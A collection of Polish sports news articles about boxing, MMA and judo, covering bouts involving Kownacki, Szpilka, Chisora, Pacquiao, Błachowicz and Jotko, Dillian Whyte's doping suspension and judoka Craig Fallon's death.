Kownacki zmierzy się z rywalem o wyrobionej marce, jednak na tę chwilę to popularny „Baby Face” jest na fali. Rozgłosu nadała mu wygrana z Arturem Szpilką, ale do tego zwycięstwa podchodzono z dystansem. Z pewnością spowodowane to było "brzuszkiem" Kownackiego. Ruiz Jr. udowodnił, że to żadna przeszkoda do odniesienia sukcesu. Kownacki pokonał Iago Kiladze, jednak wygrana z byłym mistrzem świata IBF Charlesem Martinem stanowiła najlepszy dowód jego umiejętności. W tym roku "Baby Face" wprawił bokserski świat w zachwyt. Styczniową walkę z Geraldem Washingtonem zakończył w drugiej rundzie! Szybciej niż sam mistrz WBC Deontay Wilder.

Cel jest prosty – pokonać Arreolę, a potem droga będzie otwarta. W wadze ciężkiej dzieje się wiele. Dawno tak ciekawie nie było. Tym bardziej cieszy fakt, że w czołówce znajduje się Polak. Co do najbliższej walki Kownackiego, Arreola zapowiada nokaut, Polak również jest pewny swego. Obaj potrafią efektownie wygrywać przed czasem. Czeka nas gorąca noc na Brooklynie.

Fot. Adam Kownacki Facebook

KM

WBC zawiesiło Whyte’a

Federacja WBC podjęła decyzję o tymczasowym zawieszeniu Diliana Whyte'a. Decyzja jest pokłosiem pozytywnego wyniku kontroli antydopingowej u boksera.

20 lipca Whyte pokonał na dystansie dwunastu rund Oscara Rivasa. Pojedynek mógł podobać się kibicom, a zwycięstwo przybliżyło 31-latka do starcia o pas WBC z Deontayem Wilderem. Okazało się jednak, że Anglik przed starciem z Rivasem wpadł na kontroli antydopingowej. Walka się odbyła, ponieważ wyraziły na nią zgodę organizacje BBBofC oraz UKAD, które przystały na argumentację boksera.

Federacja WBC prowadzi własne śledztwo w sprawie. Whyte będzie miał okazję do zaprezentowania swoich racji. Grozi mu zawieszenie od czterech do ośmiu lat. Na tę chwilę został pozbawiony statusu challengera i tymczasowego tytułu WBC.

Poniżej prezentujemy treść oświadczenia WBC w sprawie Whyte’a.

„Próbka UKAD „A” pobrana od pana Dilliana Whyte'a w związku z jego walką z Oscarem Rivasem dała wynik pozytywny. W świetle tej wiadomości i w oczekiwaniu na wynik własnego postępowania, WBC tymczasowo zawiesza Dilliana Whyte jako tymczasowego mistrza WBC i obowiązkowego pretendenta do tytułu. WBC powiadomiła pana Whyte'a i jego zespół o zawieszeniu. WBC pozwoli Whyte'owi na przedstawienie swojego stanowiska podczas przesłuchania śledczego, którego miejsce i czas zostaną podane w przyszłości. W trakcie dochodzenia i przesłuchań WBC umożliwi Panu Whyte'owi i jego zespołowi możliwość przedstawienia wszelkich dostępnych informacji i materiałów oraz wszelkich dowodów odciążających, które mogą uznać za stosowne”.

Nad głową Whyte'a zbierają się czarne chmury. Wydawało się, że wykonał krok w stronę najważniejszej walki w karierze. Jednak teraz został zepchnięty do defensywy. Zapewne wynik jego walki z Rivasem zostanie zweryfikowany i pojedynek będzie uznany za nieodbyty. W ostatnim czasie Whyte prezentował się znakomicie w ringu. Zanotował dziewięć kolejnych zwycięstw i stanął do rywalizacji z Rivasem. W karierze przegrał tylko raz – w 2015 roku z Anthony'm Joshuą.

Warto dodać, że to nie pierwsze problemy 31-latka z zakazanymi substancjami. W 2012 roku został zawieszony na dwa lata.

Fot. Dillian Whyte Facebook

KM

Golomb trzeci, Pacut piąta

Tomer Golomb (60kg) zajął trzecie miejsce w zawodach Grand Prix w judo, które odbyły się w Zagrzebiu. Piąta była Beata Pacut (78kg).

Dla Tomera Golomba start w Zagrzebiu miał wyjątkowy charakter, ponieważ urodzony w Izraelu judoka debiutował w biało-czerwonych barwach. W 20-latku pokładane są spore nadzieje. Mający polskie korzenie Golomb w wieku 18 lat zdobył mistrzostwo Izraela seniorów. Pokazał się również na arenie międzynarodowej. W 2015 roku zajął piąte miejsce w mistrzostwach Europy kadetów w Sofii. Na swoim koncie ma również medale Pucharów Europy. Wygrał zmagania kadetów w Berlinie w 2015 roku oraz był najlepszy wśród juniorów w Lignano i Arad w 2017 roku.

Golomb zaliczył debiut marzenie. W Zagrzebiu stanął na najniższym stopniu podium, a po drodze pokonał byłego mistrza świata Boldbaatara Ganbata. Na początek zmagań w Grand Prix reprezentant Polski wygrał z rywalem z Indii. Kumar Vijay Yadav po upływie minuty schodził pokonany z tatami. Również przez ippon Golomb wygrał z Boldbaatarem. Wygrana z byłym mistrzem świata kadetów Mihracem Akkusem pozwoliła znaleźć się 20-latkowi w strefie medalowej. Na drodze do finału reprezentantowi Polski stanął doświadczony Brytyjczyk Ashley McKenzie. W piątej walce, której stawką był brązowy medal Golomb w 40. sekund rozprawił się z Dauren Syukenovem z Kazachstanu.

Na pierwsze tegoroczne podium nadal czeka Beata Pacut. W Zagrzebiu zawodniczka Czarnych Bytom wygrała trzy walki. O wejście do finału przyszło jej rywalizować z mistrzynią świata z 2015 roku Mami Umeki. Japonka znajduje się w wyśmienitej formie i na arenie międzynarodowej regularnie plasuje się na podium. Umeki pokonała Pacut przez ippon. Polce pozostała walka o brąz z Karlą Prodan. 20-latka walczyła ambitnie i skutecznie, co dało jej pierwsze w karierze podium zawodów Grand Prix. Pacut musiała zadowolić się piątą pozycją.

Na siódmej pozycji rywalizacją zakończyła Daria Pogorzelec (70kg). Taki sam wynik zanotował Maciej Sarnacki (+100kg). W Zagrzebiu zaprezentowało się 19 judoczek i judoków z Polski.

KM

Błachowicz gotowy na Jonesa

Jan Błachowicz marzy o walce o pas mistrzowski UFC w wadze półciężkiej. "Cieszyński Książę" gotowy jest zmierzyć się w listopadzie z czempionem Jonem Jonesem.

Błachowicz na dobre zadomowił się w UFC i stał się czołową postacią kategorii półciężkiej. Jego akcje poszły w górę po efektownym zwycięstwie nad Lukiem Rockholdem podczas UFC 239. W T-Mobile Arenie zaprezentował się również mistrz Jones, który decyzją sędziów pokonał Thiago Santosa. Warto wspomnieć, że w lutym w Pradze Brazylijczyk pokonał Błachowicza. Gdyby wtedy wynik rywalizacji był inny, "Jon" mógłby mieć zmagania o pas za sobą. Ale co się odwlecze…

Marzeniem Błachowicza jest rywalizacja o pas mistrzowski. W rankingu wagi półciężkiej zajmuje piąte miejsce, więc walka jest blisko. W zasadzie na wyciągniecie ręki. Przed nim są Dominick Reyes, Anthony Smith, Thiago Santos oraz Daniel Cormier. Niewykluczone, że na drodze Polaka stanie któryś z wymienionych zawodników. Należy się spodziewać Smitha bądź Reyesa. Jednak wcale nie musi tak być. Błachowicz zabiega o walkę z Jonesem i postanowił wysunąć Amerykaninowi propozycję za pośrednictwem Twittera. Czempion zasugerował, że pojawi się w listopadzie w Madison Square Garden. Błachowicz zareagował konkretnie. – Hej! Mój kalendarz mówi, że to bardzo dobra opcja. Zróbmy to. Co Ty na to? – napisał polski fighter.

Jones to czołowa postać UFC. Przegrał tylko raz w karierze, jest maszynką do wygrywania. Gdyby nie jego dopingowe problemy byłby żywą legendą MMA. W grudniu 2018 roku po raz kolejny zdobył pas. W tym roku stoczył dwie walki. W marcu pokonał Smitha, a kilka tygodni temu wspomnianego już Santosa. Bilans Błachowicza jest nieco inny – porażka i zwycięstwo. Polak jest opromieniony triumfem nad Rockholdem, za który otrzymał bonus w wysokości 50 tysięcy dolarów. W planach Błachowicza i Jonesa jest jeszcze jedna walka w tym roku. Nic nie stoi na przeszkodzie, aby byli jej bohaterami. Bez wątpienia dla polskiego MMA byłoby to wydarzenie roku.

Jan Błachowicz ma na koncie siedem zwycięstw w UFC, pięć pojedynków przegrał.

Fot. Jan Błachowicz Facebook

KM

Wielki rewanż?

Manny Pacquaio ciągle czuje głód rywalizacji. Pokonując Ketitha Turmana Filipińczyk zdobył pas mistrza świata wagi półśredniej WBA. Na "Pacmana" czekają kolejne wyzwania. Może będzie nim rewanż z Floydem Mayweatherem Jr?

Popularny "Money" oglądał poczynania Pacquiao w MGM Grand w Las Vegas. Walka "Pacmana" z Thurmanem była niezwykle emocjonująca. Już w pierwszej rundzie Amerykanin znalazł się na deskach. Nie brakowało ciosów z obu stron, tempo było imponujące. Chwilami widać było zmęczenie po pięściarzach, ale każdy z nich dawał z siebie wszystko, aby osiągnąć cel. Po dwunastu rundach z kolejnego sukcesu w karierze cieszył się Pacquiao.

Okazało się, że 40-latek może. Na kolejny pojedynek Pacquiao przyjdzie trochę poczekać. Filipińczyk ma pojawić się w ringu wiosną 2020 roku. Już ruszyła giełda nazwisk potencjalnych rywali. Wysoko stoją akcje Errola Spence'a, który 28 września zmierzy się z Shawnem Porterem. Na szali pasy IBF i WBC. Co prawda kandydatem do starcia z Pacquiao ma być zwycięzca tej walki, ale 31-latek nie jest stawiany w roli faworyta wrześniowej potyczki. Pojawiają się również nazwiska Terence'a Crawforda czy Danny'ego Garcii. Nie mogło zabraknąć również Floyda Mayweathera Jr. W zasadzie emeryta, który na boks patrzy z boku.

Pięściarze spotkali się 2 maja 2015 roku. Na tę walkę czekał cały świat. Lepszy okazał się "Money", a pojedynek był finansowym sukcesem. Obaj zmierzali w kierunku z napisem "koniec kariery". Pacquiao postanowił wrócić, Mayweather pokonał Andre Berto i wyśrubował rekord 50 wygranych. Bilans nieskazitelny. Ale skusił się na walkę z… zawodnikiem MMA. W sierpniu 2017 roku pokonał Conora McGregora, potem wystąpił jeszcze w pokazowym pojedynku w Japonii.

Ponowne spotkanie Mayweathera z Pacquaio byłoby ogromnym wydarzeniem. "Money" trzyma jednak dystans… – Za każdym razem, gdy nazwisko Pacquiao pojawia się w mediach, moje jest z nim związane – napisał Mayweather Jr. w mediach społecznościowych. – Cała kariera tego człowieka została zbudowana na podstawie jego związku z moim imieniem – dodał.

Okazuje się, że amerykański pięściarz podjął się nowego wyzwania. Mayweather Jr. ma być doradcą chińskiej reprezentacji bokserskiej i pomóc jej osiągnąć jak najlepsze wyniki podczas Igrzysk Olimpijskich w Tokio.

Fot. Manny Pacquiao Facebook

KM

Po ósmą wygraną

27 lipca Krzysztof Jotko stoczy 25. walkę w karierze. Zarazem będzie to dwunasty pojedynek polskiego fightera w UFC. Dotychczas 30-latek zanotował siedem zwycięstw w amerykańskiej organizacji.

Krzysztof Jotko zaprezentuje się podczas gali UFC 240 w Rogers Place w Edmonton. Jego przeciwnikiem będzie reprezentant Kanady Marc-Andre Barriault. Trudno porównywać doświadczenie obu zawodników. Jotko stoczył blisko dwa razy więcej pojedynków niż Kanadyjczyk. Ponadto, polski zawodnik doskonale zna smak rywalizacji w UFC, dla której to organizacji pierwszą walkę stoczył blisko sześć lat temu! Od 2013 roku Jotko zaliczył 11 pojedynków dla amerykańskiego giganta – siedem wygrał, cztery przegrał. Z kolei Barriault zadebiutował w UFC w maju br. W Ottawie (UFC Fight Night 151) 29-letni Kanadyjczyk przegrał decyzją sędziów z Andrew Sanchezem. Wcześniej Marc-Andre Barriault z powodzeniem rywalizował w organizacji TKO. Na swoim koncie zapisał pasy mistrzowskie w kategoriach półciężkiej i średniej. Osiem z jedenastu wygranych walk rozstrzygnął przed czasem. Atutem Kanadyjczyka jest stójka.

Faworytem sobotniej rywalizacji będzie Jotko, który w kwietniu wrócił do rywalizacji po kontuzji. Podczas gali UFC on ESPN+7 Polak pokonał jednogłośną decyzją Alena Amedovskiego. Był to ważny triumf dla zawodnika urodzonego w Elblągu. Wcześniejsze trzy walki w UFC Jotko przegrał, więc jego sytuacja wyglądała nie najlepiej. Wrócił w dobrym stylu i musi iść tą drogą. Teraz będzie chciał dopisać do swojego dorobku ósmą wygraną w amerykańskiej organizacji. Na ostatniej prostej przed walką Jotko trenuje boks pod okiem Zbigniewa Raubo.

W Edmonton zaprezentuje się również Cristiane Justino. Popularna "Cyborg" w grudniu doznała pierwszej porażki w UFC, a drugiej w karierze. Po pięćdziesięciu sekundach walki Justino została znokautowana przez Amandę Nunes. W Edmonton rywalką Brazylijki będzie niepokonana Felicia Spencer.

Do trzech razy sztuka – to stwierdzenie idealnie opisuje zestawienie Maxa Hollowaya z Frankiem Edgarem. Panowie mieli zmierzyć się w grudniu 2017 roku, ale wtedy kontuzji doznał "The Answer". Kolejna próba – marzec 2018 roku. Uraz Hollowaya. W końcu się udało. Podczas UFC 240 Holloway i Edgar w walce wieczoru zmierzą się o pas kategorii piórkowej.

Fot. Krzysztof Jotko Facebook

KM

Jotko i „Juras” ostro o krytyce Szpilki

Po przegranej walce z Dereckiem Chisorą, na Artura Szpilkę wylała się fala krytyki. W obronie boksera stanęli Krzysztof Jotko oraz Łukasz „Juras” Jurkowski.

W Londynie „Szpila” poniósł czwartą porażkę na zawodowym ringu. Od początku Dereck Chisora ruszył na Polaka, a w drugiej rundzie wyprowadził potężny prawy sierp. Szpilka był zamroczony. Chisora nie mógł zmarnować takiej okazji i posłał Polaka na deski.

Po walce na Szpilce „nie pozostawiono suchej nitki”. Eksperci podkreślali, że ta porażka zamyka bokserowi rywalizację na światowym poziomie. Pozostają mu zmagania na krajowym podwórku. Wiadomo, że kariera Szpilki znalazła się na zakręcie. Pięściarz musi dokładnie przemyśleć i przeanalizować swoją sytuację. Kibice nie szczędzili krytyki zawodnikowi. Nie brakowało kąśliwych komentarzy na temat umiejętności Szpilki. Ponadto, nie szczędzono mocnych słów i wyzwisk.

Wobec takich zachowań obojętny nie pozostał zawodnik UFC Krzysztof Jotko. Cała sytuacja wywołała w nim ogromne emocje. – Zazdrość i zawiść w naszym kraju to chyba wrodzona wada albo głupota nie spełnionych ludzi którzy szydzą z potknięć sportowców. Sami w życiu nigdy nic nie osiągneli siedząc w wiosce zabitej dechami albo ławce pod blokiem,jest łatwo krytykować nas sportowców którzy maja ambicje i marzenia do których darzymy na dobre czy na złe. Zamiast wspierać sportowców którzy reprezentują nasz kraj na światowych arenach łatwiej jest siedzieć w domu i rzucać obelgi i wyzwiska To k…a jest chore rzygać się chce kiedy się to czyta (pisownia oryginalna) – napisał Jotko w mediach społecznościowych. – Artur Szpilka nie miał wczoraj (20 lipca – red.) udanego dnia niestety przegrał ale próbował !! zaszedł bardzo wysoko, poświęca się na treningach miał dużo wyrzeczeń przed walka, reprezentuje nasz kraj a wy nigdy nie będziecie na jego miejscu i zamiast go wspierać po porażce jeszcze kopiecie leżącego i szydzicie z niego… Opanujcie się i lepiej w ogóle nie odzywajcie – dodał.

Do krytyki Szpilki odniósł się również Łukasz „Juras” Jurkowski. – Łatwo się szydzi z niepowodzenia sportowca, mieszając z błotem, wyzywając od najgorszych, zawsze czekając z utęsknieniem na jego potknięcie. Przecież nie może mieć za dobrze! On jednak miał w życiu marzenia, cel i siłę aby je spełnić. Zaryzykował wszystko aby być na szczycie, a jego prześmiewcy jedyne co zaryzykowali to zamówienie ostrego kebsa liczàc, że rano nie będzie piekło tak bardzo. „Na Jego miejscu to…” STOP! Nigdy nie będziecie na Jego miejscu. Pogódźcie się z tym albo zróbcie cokolwiek aby wyjść z cienia internetowej anonimowości. Zobaczycie jak sport, praca i determinacja uczy charakteru i zmienia światopogląd (pisownia oryginalna) – skomentował w mediach społecznościowych zawodnik MMA.

KM

ONA #4: Gościem Ewa Piątkowska

ONA #4: Zapraszamy na czwarty odcinek programu o kobietach dla kobiet. Monika Porażyńska​ w rozmowie z Ewą Piątkowską​ pokaż kawałek życia naszej super pięściarki z zupełnie innej strony. Poznamy trochę jej życie osobiste, marzenia, co lubi a czego nie. Staramy się abyście poznali nasze bohaterki jako kobiety a nie tylko zawodniczki.

[kod]

Chisora znokautował Szpilkę

Szybkie rozstrzygnięcie w walce Derecka Chisory z Arturem Szpilką. Pochodzący z Zimbabwe bokser wygrał przez nokaut w drugiej rundzie.

Artur Szpilka nie będzie miło wspominał wizyty w Londynie. Pierwsza runda starcia z Dereckiem Chisorą zapowiadała ciekawą walkę. Lepiej rywalizację zaczął 36-latek, który trafił mocnym prawym. Po chwili Szpilka „odwdzięczył”się lewym. Z czasem widać było, że Chisora zaczyna czuć się coraz pewniej. Spychał Szpilkę pod liny i słał w jego stronę kolejne ciosy. Polak starał się odpowiadać, jednak musiał zachować szczególną ostrożność. Szpilka dotrwał do gongu, a w drugiej rundzie przeżył prawdziwy dramat. Potężny prawy sierpowy Chisory zamroczył „Szpilę”. Takiej szansy Brytyjczyk nie mógł zmarnować. Seria – prawy, lewy i Szpilka bezwładnie padł na deski. Przez kilkadziesiąt sekund polski pięściarz leżał na ziemi nieprzytomny. Cała sytuacja wyglądała dramatycznie, jednak Polak podniósł się o własnych siłach.

Przed pojedynkiem mówiło się wiele, że starcie zakończy się przed czasem. Tak też się stało… Walka w Londynie miała dać odpowiedź, co do przyszłości Artura Szpilki. Wygrana z Chisorą byłaby trampoliną do walk o najwyższe cele. Teraz prawdopodobnie 36-letni pochodzący z Zimbabwe bokser zmierzy się z byłym mistrzem WBO Josephem Parkerem. Co ze Szpilką? Prawda jest brutalna – w tej chwili pozostaje mu rywalizacja na krajowym podwórku. Szpilka ponownie będzie musiał zbudować swoją pozycję, ale czeka go mozolna praca, która wymaga cierpliwości. Zawsze trzeba wierzyć również w łut szczęścia…

Dla 36-letniego Chisory wygrana ze „Szpilą” to przepustka do „drugiej młodości”. Brytyjczyk ma jeszcze szansę, liczy na „coś więcej'. W Londynie zaprezentował się efektownie i dał pokaz swojej siły. Przy okazji dał sygnał, że nie myśli jeszcze o emeryturze.

W Londynie Artur Szpilka zanotował czwartą zawodową porażkę. Wcześniej przegrywał Bryantem Jenningsem, Deontayem Wilderem i Adamem Kownackim. Z kolei Chisora zanotował 31. wygraną.

KM

Zdobyć Londyn

20 lipca może być niezwykle istotnym dniem w karierze Artura Szpilki. Jeśli w Londynie pokona Derecka Chisorę, nadal będzie liczył się w wadze ciężkiej. Porażka może bardzo pokrzyżować mu plany.

Pojedynek pretendentów do pasów mistrzowskich w kategorii królewskiej zapowiada się niezwykle interesująco. Obaj słyną z impulsywności i ostrego języka. Jednak konferencja prasowa przed walką przebiegała spokojnie. Spotkanie twarzą w twarz również bez ekscesów. Szpilka zaprezentował się w garniturze i spokojnie patrzył na ubranego w t-shirt oraz czapeczkę Chisorę. Brytyjczyk pierwszy spuścił wzrok, chwila dla fotoreporterów i po sprawie.

W ringu spokojnie na pewno nie będzie. Spotkają się pięściarze o sporym potencjale i doświadczeniu, jednak obecnie znajdujący się poza światową czołówką. Pojedynek w O2 Arena w Londynie jest dla obu szansą na przypomnienie o sobie i zgłoszenie akcesu do rywalizacji z najlepszymi. Wiadomo, że zwycięzca może być tylko jeden. Dla przegranego nadejdą trudne dni.

Dla popularnego "Szpili" będzie to pierwsza walka zagranicą od porażki z Adamem Kownackim w lipcu 2017 roku. Potem pięściarz pochodzący z Wieliczki rywalizował w kraju. Pokonał Dominicka Guinna i Mariusza Wacha. Jednak piętno na jego miejscu w światowym zestawieniu (25. pozycja w rankingu boxrec.com) odcisnęła porażka z Adamem Kownackim. Szpilka przegrał bój o pas WBC z Deontayem Wilderem, ale w tej walce pokazał się z dobrej strony. Wytrzymał z Amerykaninem dziewięć rund.

W Londynie Szpilka zmierzy się z Chisorą (17. w rankingu), który w tych najważniejszych starciach zawodził. Na swoim koncie ma starcie o pas mistrzowski WBC. W 2012 roku stanął do rywalizacji z Witalijem Kliczko. Chisora toczył zaciętą walkę z ukraińskim mistrzem, ale przegrał jednogłośną decyzją sędziów. Sukcesywnie jego pozycja w hierarchii wagi ciężkiej słabła. Przegrał wielką wojnę o prymat na Wyspach Brytyjskich z Davidem Hayem, nie znalazł sposobu na Dilliana Whyte'a. Odnosił zwycięstwa w starciach z mniej znanymi rywalami. Z mocniejszych nazwisk na koncie ma triumf z Kevinem Johnsonem, ale Kubrat Pulev i Tyson Fury byli dla Chisory za mocni. Ostatnio pochodzący z Zimbabwe pięściarz pokonał Senada Gashiego.

Szpilka będzie rywalizował o 23. zwycięstwo na zawodowym ringu. Chisora ma na koncie 30. wygranych pojedynków. Któryś licznik, choć na chwilę, stanie w miejscu.

Fot. mat. organizatora/Facebook

KM

ONA #2: Gościem programu Iwona Guzowska

ONA #2: Zapraszamy na drugi odcinek programu o kobietach dla kobiet. Monika Porażyńska​ w rozmowie z Iwoną Guzowską​ pokazuje nasze fighterki z zupełnie innej strony. Poznamy ich życie osobiste, marzenia, co lubią a czego nie. Postaramy się abyście poznali nasze bohaterki jako kobiety a nie tylko zawodniczki.

[kod]

ONA #3: Gościem programu Karolina Koszela

ONA #3: Zapraszamy na trzeci odcinek programu o kobietach dla kobiet. Monika Porażyńska​ w rozmowie z Karoliną Koszelą​ pokazuje nasze fighterki z zupełnie innej strony. Poznamy ich życie osobiste, marzenia, co lubią a czego nie. Postaramy się abyście poznali nasze bohaterki jako kobiety a nie tylko zawodniczki.

[kod]

Były mistrz świata nie żyje

Smutna wiadomość dla świata judo. W wieku 36 lat zmarł były mistrz świata Craig Fallon.

Dla całego środowiska judo to ogromny szok. Fallon był czołową postacią tej dyscypliny w Wielkiej Brytanii, odnosił sukcesy na arenie międzynarodowej. W 2003 roku wywalczył srebrny medal na mistrzostwach świata w Osace w kategorii do 60kg. Dwa lata później nie miał sobie równych w Kairze. Fallon stanął na najwyższym stopniu podium i zapisał się w historii brytyjskiego judo, ponieważ został trzecim zawodnikiem, który zdobył złoto w światowym czempionacie. Na swoim koncie zapisał również mistrzostwo Europy. Triumfował także w Pucharze Świata w Birmingham. Brał udział w igrzyskach olimpijskich w Atenach i Pekinie. Karierę sportową zakończył w 2011 roku, jednak cały czas był związany z judo. Był trenerem w Austrii, niedawno został szefem Walijskiego Związku Judo.

Craig Fallon odszedł przedwcześnie, miał zaledwie 36 lat. Przyczyny jego śmierci nie są znane. Fallon zaginął w sobotę (13 lipca – red.), a jego ciało znaleziono dzień później na wzgórzu The Werkin. Sprawą zajmuje się policja.

– Jego oddanie sportowi, który kochał, pozostanie ze mną na zawsze i będę wspominać czas, który spędziliśmy razem – powiedział w rozmowie z BBC Fitzroy Davis – były trener mistrza świata z Kairu. – Odejście Craiga to ogromna strata, ale mam nadzieję, że jego osiągnięcia i niesamowita historia będą inspiracją dla przyszłych pokoleń – dodał.

Wsparcie najbliższym Fallona zaoferował prezydent Światowej Federacji Judo Marius Vizer. – To naprawdę tragiczna strata dla naszego sportu. W imieniu IJF przesyłam kondolencje rodzinie i przyjaciołom Craiga. Oferujemy nasze wsparcie w tym trudnym czasie – powiedział cytowany przez oficjalną stronę federacji.

Cały sportowy świat ubolewa nad odejściem Fallona. Zawodnika zaangażowanego i gotowego na podejmowanie kolejnych wyzwań. Fallon zapisał się w historii judo, pozostanie w pamięci i zapewne będzie inspiracją dla tych, którzy podążają sportową drogą.

KM

Izu: Wiem, że zawiodłem

Trudne chwile przeżywał ostatnio Izuagbe Ugonoh. 32-letni bokser w kiepskim stylu przegrał w Rzeszowie z Łukaszem Różańskim. – Nie chce już nic więcej udowadniać – napisał w mediach społecznościowych Ugonoh.

Trzy lata temu Izu notował kolejne zwycięstwa, czym zapracował na walkę z Dominicem Breazealem. Jego pierwszy występ w Stanach Zjednoczonych zakończył się porażką. Ugonoh wyprowadził w starciu z Breazealem ponad 200 ciosów i był bardzo aktywny. Pięściarze postawili na walkę od samego początku, czego efektem było zwycięstwo Amerykanina w piątej rundzie. Izu przyjął prawy, wstał, ale chwilę później lewy zakończył pojedynek. Jednak wcześniej Breazeale leżał na deskach! Izu pokazał kawał dobrego boksu i rozbudził apetyty kibiców. Na kolejny pojedynek Ugonoha trzeba było czekać ponad rok. W maju 2018 roku w Warszawie na Stadionie Narodowym pokonał Freda Kassiego. Kameruńczyk poddał się po drugiej rundzie. Starcie z Łukaszem Różańskim miało określić przyszłość Izu. Wydawało się, że Ugonoh jest faworytem, bo zawodnik z Rzeszowa co prawda wygrał dziewięć walk przed czasem, ale cały czas pracował na swoje nazwisko. 6 lipca odważnie ruszył na bardziej znanego Izu i wygrał. Różański wstrząsnął bardziej doświadczonym rywalem i rywalizacja zakończyła się w czwartek rundzie, choć nie obyło się bez kontrowersji. Bokser z Rzeszowa jeden z ciosów wyprowadził, gdy Izu był na kolanach.

Dla Ugonoha było to ciężkie doświadczenie. 32-letni pięściarz zwrócił się do kibiców za pośrednictwem mediów społecznościowych. – Przegrałem ostatnią walkę i jest mi bardzo przykro, z dwóch powodów. Po pierwsze zawiodłem mnóstwo ludzi. Promotorów, trenerów Was kibiców i siebie. Po drugie nie wykazałem woli walki, a tym bardziej woli zwycięstwa. Bez tego nie ma co wychodzić do ringu. Niestety dopiero podczas walki dowiadujemy się co w nas drzemie. Odpowiedź która uzyskałem to: nie chce już nic więcej udowadniać. Wygrałem mnóstwo pojedynków w przeszłości a przegrałem tylko parę. Gratuluję Łukaszowi Różanskiemu i jego teamowi. Powodzenia na przyszłość. Wiem ze zawiodłem oczekiwania i nadzieję wiązane z moja osoba. Na szczęście to tylko sport. Jest mi przykro, ale czuje, że jest to początek nowych wielkich rzeczy – napisał Ugonoh.

Izu stoczył łącznie 20 walk na zawodowym ringu. 18 pojedynków wygrał, w tym 15 przed czasem. Dwukrotnie schodził z ringu pokonany.

Fot. izuugonoh Instagram

KM

Będzie rewanż?

Jesienią poznamy triumfatorów drugiej edycji World Boxing Super Series. Nie milkną jednak echa półfinałowej walki Krzysztofa Głowackiego z Mairisem Briedisem. Jeden z organizatorów turnieju Kalle Sauerland uważa, że powinno dojść do rewanżowego starcia.

To co działo się w Rydze może przyprawiać o ból głowy. Festiwal sędziowskich błędów, brutalna postawa Briedisa. Walka zakończyła się w trzeciej rundzie i z wygranej cieszył się Łotysz, który jesienią powalczy o pasy WBO, IBF oraz WBC z Yunierem Dorticosem. – Briedis popełnił faul, ale wcześniej były faule z drugiej strony. Ten Briedisa był bardziej spektakularny, choć nie sądzę, żeby był zamierzony – powiedział Kalle Sauerland dla magazynu "The Ring".

Nie da się ukryć, że Głowacki został skrzywdzony. Zatem najlepszym rozwiązaniem byłby rewanż. Myślę, że po turnieju powinien nastąpić rewanż, to była szalona walka – podkreśla Sauerland.- WBSS nie jest organem zarządzającym, będziemy przestrzegać decyzji WBO – dodaje.

Zatem należy spodziewać się kolejnej szansy dla Głowackiego. Wokół pojedynku w Rydze pojawiło się wiele dyskusji. Strona polska protestowała, bo błędy sędziego oraz zachowanie Briedisa były karygodne. Chodziło po prostu o zasadę fair play. Przegrana przegraną, ale chodzi o styl i sport. Po walce sam Briedis przyznał się do faulu… Teraz powalczy o pasy mistrzowskie…

Cóż pozostaje czekać na rozwój wypadków i wierzyć, że zapewnienia znajdą potwierdzenie w rzeczywistości, co da Głowackiemu szansę na zdobycie mistrzowskich pasów. Jeśli nie Briedis, to Dorticos. Zapewne Głowacki do każdej rywalizacji będzie przygotowany na 100% i zostawi serce w ringu.

Finały WBSS odbędą się na jesieni. W kategorii koguciej o triumf powalczą Nonito Donaire i Naoya Inoue, w super lekkiej – Regis Prograis i Josh Taylor oraz wspomniani Yuniel Dorticos i Mairis Briedis w junior ciężkiej.

W poprzedniej edycji turnieju rywalizacja odbywała się w dwóch kategoriach wagowych. W wadze junior ciężkiej triumfował Oleksandr Usyk, który w finale pokonał Murata Gassijewa. Zwycięzcą w kategorii super średniej został Callum Smith. W decydującej potyczce uporał się z George'm Grovesem.

Fot. Krzysztof Głowacki Facebook

KM

Czy 40-latek może?

W grudniu Manny Pacquaio skończy 41 lat. Filipińczyk ogłaszał zakończenie kariery, ale nie wytrzymał zbyt długo i wrócił na ring. 20 lipca Pacquaio czeka go kolejna walka. Jego rywalem będzie pełnoprawny mistrz WBA w wadze półśredniej Keith Thurman.

Pacquaio to symbol boksu na wysokim poziomie. Filipińczyk zapisał się na kartach historii pięściarstwa złotymi literami. Bogata kariera „Pacmana” pełna jest efektownych pojedynków, ale przede wszystkim tytułów. Bowiem Pacquiao jest jedynym w historii mistrzem ośmiu kategorii wagowych. Na zawodowym ringu debiutował w styczniu 1995 roku, czyli 24 lata temu! Kawał czasu. Wtedy to Austria, Szwecja i Finlandia przystąpiły do Unii Europejskiej, a w maju Polska nawiązała stosunki dyplomatyczne z Arabią Saudyjską. Przez te lata wiele na świecie się zmieniło, także w boksie. W 1998 roku filipiński pięściarz sięgnął po pas mistrzowski WBC w wadze muszej. Potem Pacquiao trafił do Stanów Zjednoczonych, gdzie jego kariera nabrała rozpędu. Kolejne kategorie wagowe, kolejne pojedynki z wielkimi pięściarzami. Ricky Hatton, Miguel Cotto, Antonio Margarito, Shan Mosley czy Juan Manuel Marquez  – w starciach z tymi rywalami działo się. W maju 2015 roku w Las Vegas Pacquaio stanął na wprost Floyda Mayweathera Jr. Na tę walkę czekały miliony. Wielkie pieniądze, trzy pasy mistrzowskie w wadze półśredniej i ogromne oczekiwania. Na punkty lepszy był Amerykanin. Pacquaio stoczył jeszcze walkę z Timothym Bradleyem, którą wygrał i udał się na sportową emeryturę. Długo nie wytrzymał. Po pół roku wrócił i pokonał Jessiego Vargasa. Pacquiao niespodziewanie przegrał z Jeffem Hornem, ale kolejne dwa pojedynki wygrał. Ostatnio okazał się lepszy od Adriena Bronera, co dało mu pas WBA Regular.

20 lipca kolejne wyzwanie przed Pacquiao. W MGM Grand w Las Vegas "Pacman" zmierzy się z mistrzem WBA Keithem Thurmanem. Przed pojedynkiem nie brakuje emocji. 30-letni Amerykanin, niepokonany na zawodowym ringu, zapowiada, że odeśle Pacquiao na emeryturę. Zagadką pozostaje forma Thurmana. W styczniu wrócił do rywalizacji po operacji barku i co prawda pokonał Josesito Lopeza, jednak nie zachwycił.

Dzieli ich dziesięć lat. Thurman 22 z 29 pojedynków wygrał przez nokaut. Pacquaio ma o wiele większe doświadczenie. 70 walk, z których 61 wygrał. Niejedno w ringu widział, wielu rywali położył na deski i wychodził z licznych opresji. Zna smak rywalizacji w każdej postaci. Czterdzieści lat minęło, Pacquaio urósł do roli bohatera narodowego, jest senatorem, ale nadal ciągnie go do ringu. Życie zaczyna się po 40-stce? Zobaczymy.

Fot. Manny Pacquaio Facebook

KM

Marcin Zontek wystąpi na FEN 26 we Wrocławiu!

